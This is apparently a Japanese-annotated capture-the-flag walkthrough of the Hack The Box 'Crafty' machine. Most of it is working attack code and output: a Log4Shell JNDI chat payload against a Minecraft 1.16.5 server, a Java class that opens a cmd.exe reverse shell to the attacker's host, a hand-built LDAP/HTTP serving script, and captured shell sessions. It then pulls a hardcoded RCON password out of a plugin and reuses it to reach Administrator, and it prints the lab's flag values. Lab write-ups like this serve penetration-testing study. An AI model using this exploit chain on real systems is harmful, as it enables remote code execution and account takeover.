nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.230.193
nmap -sV -sC -p 80,25565 10.129.230.193

PORT      STATE SERVICE   VERSION
80/tcp    open  http      Microsoft IIS httpd 10.0
|_http-title: Did not follow redirect to http://crafty.htb
|_http-server-header: Microsoft-IIS/10.0
25565/tcp open  minecraft Minecraft 1.16.5 (Protocol: 127, Message: Crafty Server, Users: 0/100)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

echo "10.129.230.193  crafty.htb" | sudo tee -a /etc/hosts
curl -s http://crafty.htb/ | head -c 500

<title>Crafty - Official Website</title>
...<div class="items">
  <a href="/coming-soon" class="item forums">...<!-- Minecraft サーバーの公式案内ページ -->

Minecraft 1.16.5 サーバーは Log4j 2.x を使ってチャットメッセージ等のログを
出力する。Log4j の "%m"（メッセージ文字列）がログフォーマット中に含まれる場合、
メッセージ文字列内の
    ${jndi:ldap://<攻撃者サーバー>:<port>/<name>}
というパターンがログ出力時に Lookup 構文として解釈され、記載された
LDAPサーバーへ問い合わせを行う。

攻撃者が自前のLDAPサーバーを用意し、応答として
  javaCodeBase = http://<攻撃者HTTPサーバー>/
  javaFactory  = Exploit
を持つ javaNamingReference を返すと、サーバーVM（JNDI経由）が
指定のHTTPサーバーからクラスファイルをダウンロード・ロードし、
static初期化ブロックが即座に実行される。
→ これにより任意のJavaコード（＝実質任意コマンド実行）が可能になる。

Minecraft の場合、プレイヤーがチャットに入力した文字列がそのままサーバーログへ
記録されるため、認証不要でチャット欄に payload を送るだけでトリガーできる。

Minecraft 1.16.5 サーバーは Java 8 で動作していることが多く、JVMの
クラスファイル major version は実行環境と互換性が必要。
javac --release 11 でコンパイルすると major=55 となり、Java 8 側では
UnsupportedClassVersionError が発生してstatic初期化ブロックが
一切実行されないまま静かに失敗する（例外は投げられるがログに
出ないことが多く、原因特定が難しい）。
→ 必ず javac --release 8 を使う。

また、Java 8 はラムダ式のクラスロードに invokedynamic/LambdaMetafactory
を要求するため、JNDIで動的ロードしたクラス単体では解決できず失敗しやすい。
→ ラムダ式ではなく匿名 Runnable クラス（new Runnable(){...}）で記述する。

import java.io.*;
import java.net.*;
public class Exploit {
    static {
        try {
            final String host = "10.10.15.200";   // Kali (リスナー)
            final int port = 4460;
            Thread t = new Thread(new Runnable() {
                public void run() {
                    try {
                        Socket s = new Socket(host, port);
                        Process p = Runtime.getRuntime().exec("cmd.exe");
                        // stdin/stdout/stderr を3本の匿名Runnableスレッドで
                        // ソケットとプロセスの間に相互中継する
                        ...
                    } catch(Exception e) {}
                }
            });
            t.setDaemon(false);
            t.start();
        } catch(Exception ignored) {}
    }
}

javac --release 8 Exploit.java

警告: [options] ソース値8は廃止されていて、今後のリリースで削除される予定です（無視してよい）
Exploit.class 生成完了 (500 bytes)
Exploit$1.class / Exploit$1$1.class / Exploit$1$2.class / Exploit$1$3.class も付随生成

# LDAP BindRequest(0x60)/SearchRequest(0x63) どちらにも対応し、
# SearchResultEntry で javaCodeBase 属性を返すだけの最小実装。
def _ldap_search_entry(msg_id, code_base, factory):
    # javaClassName / javaCodeBase / objectClass=javaNamingReference / javaFactory
    # を含む LDAP SearchResultEntry (タグ 0x64) を手組みBERで生成
    ...

# メッセージID (msg_id) は BERパケットの先頭 SEQUENCE 直後、
# INTEGER タグ(0x02)の値部分。長さフィールドが long-form(0x80ビット立つ)か
# short-form かで読み出し開始位置が変わる点に注意。

# LDAP(1390) + HTTP(8090) + リバースシェルリスナー(4460)を同時起動
python3 manual_exploit.py

[*] HTTP server on :8090 serving ./crafty/
[*] LDAP server listening on 1390, codebase=http://10.10.15.200:8090/
[*] reverse shell listener on :4460

Minecraft 1.16.5（プロトコル754）に生ソケットで接続し、
  Handshake(0x00, state=2=Login) → Login Start(0x00, username="log4player")
を送信。サーバーからの Login Success(0x02) を待つが、その前に
Set Compression(0x03) パケットが来ることがあるため、以後の全パケットは
圧縮形式（[Data Length VarInt][PacketID][Data]、Data Length=0ならば非圧縮）
で読み直す必要がある。

ログイン後すぐにチャットを送ると発火前にサーバー側の初期化が終わっていない
ことがあるため、Play状態のパケットを3秒ほど読み捨てて待つ。
その後 Chat Message パケット(0x03) に JNDI payload を文字列として積んで送信、
送信後も5秒ほど接続を保持してサーバー側の非同期ログ処理を完了させる。

jndi = "${jndi:ldap://10.10.15.200:1390/o=reference}"
send_jndi("10.129.230.193", 25565, jndi, proto=754)

[*] logged_in=True compression=True
[*] sending chat with JNDI payload: ${jndi:ldap://10.10.15.200:1390/o=reference}
[*] LDAP request from ('10.129.230.193', 49695), tag=0x60
[+] LDAP reference sent (javaCodeBase redirect)
[+] served Exploit.class (500 bytes) to ('10.129.230.193', 49696)
[+] served Exploit$1.class (1176 bytes) to ('10.129.230.193', 49697)
[+] connection from ('10.129.230.193', 49698)
[+] served Exploit$1$1.class / Exploit$1$2.class / Exploit$1$3.class ...

whoami
type C:\Users\svc_minecraft\Desktop\user.txt

c:\users\svc_minecraft\server>whoami
crafty\svc_minecraft

c:\users\svc_minecraft\server>type C:\Users\svc_minecraft\Desktop\user.txt
4f636d0893b6c0fd18c9ef801e32bee4

dir /s /b C:\Users\svc_minecraft\server\plugins\*.jar

C:\Users\svc_minecraft\server\plugins\playercounter-1.0-SNAPSHOT.jar

copy "C:\Users\svc_minecraft\server\plugins\playercounter-1.0-SNAPSHOT.jar" C:\Users\svc_minecraft\pc.zip
powershell -c "Expand-Archive -Path C:\Users\svc_minecraft\pc.zip -DestinationPath C:\Users\svc_minecraft\pc_extracted -Force"
dir /s /b C:\Users\svc_minecraft\pc_extracted\*.class

1 file(s) copied.

C:\Users\svc_minecraft\pc_extracted\htb\crafty\playercounter\Playercounter.class
C:\Users\svc_minecraft\pc_extracted\net\kronos\rkon\core\Rcon.class
C:\Users\svc_minecraft\pc_extracted\net\kronos\rkon\core\RconPacket.class
C:\Users\svc_minecraft\pc_extracted\net\kronos\rkon\core\ex\AuthenticationException.class
C:\Users\svc_minecraft\pc_extracted\net\kronos\rkon\core\ex\MalformedPacketException.class

PowerShellのインライン -c ワンライナーは cmd.exe → PowerShell と2重解釈される
際にクォートが崩れて失敗しやすい（本検証でも一度失敗した）。代わりに
certutil -encode でファイルをBase64テキスト化し、type で標準出力へ流して
こちら側でBase64デコードする方法が、クォート崩れの心配がなく確実。

ただし C:\windows\temp 配下に certutil -encode の出力を書いた場合、
svc_minecraft 自身の type でも "Access is denied" となるケースがあった
(ACL/リダイレクタの影響と見られる)。自分のホームディレクトリ
(C:\Users\svc_minecraft\) 配下に出力すれば問題なく読み出せる。

certutil -encode C:\Users\svc_minecraft\pc_extracted\htb\crafty\playercounter\Playercounter.class C:\Users\svc_minecraft\pcc.b64
type C:\Users\svc_minecraft\pcc.b64

...
(定数プール内) "127.0.0.1"
(定数プール内) "s67u84zKq8IXw"
(定数プール内) "net/kronos/rkon/core/Rcon"
...

class_bytes = base64.b64decode(b64_data)
text = class_bytes.decode("latin1")
tokens = re.findall(r"[A-Za-z0-9_\-\.]{8,30}", text)
# 英大文字+英小文字+数字を全て含むトークンだけに絞り込む
candidates = [t for t in tokens if re.search(r"[A-Z]",t) and re.search(r"[a-z]",t) and re.search(r"[0-9]",t)]
print(candidates)   # → ['s67u84zKq8IXw']

RCON接続パスワード（本来はMinecraftサーバーのリモートコンソール専用）が、
OSアカウント crafty\administrator のログオンパスワードとしても
そのまま使い回されていた、という典型的な認証情報の流用パターン。

net use \\127.0.0.1\c$ s67u84zKq8IXw /user:crafty\administrator

net use \\127.0.0.1\c$ s67u84zKq8IXw /user:crafty\administrator
The command completed successfully.

type \\127.0.0.1\c$\Users\Administrator\Desktop\root.txt

type \\127.0.0.1\c$\Users\Administrator\Desktop\root.txt
5e4f897f734a503b1bcbf0d7e76a94ff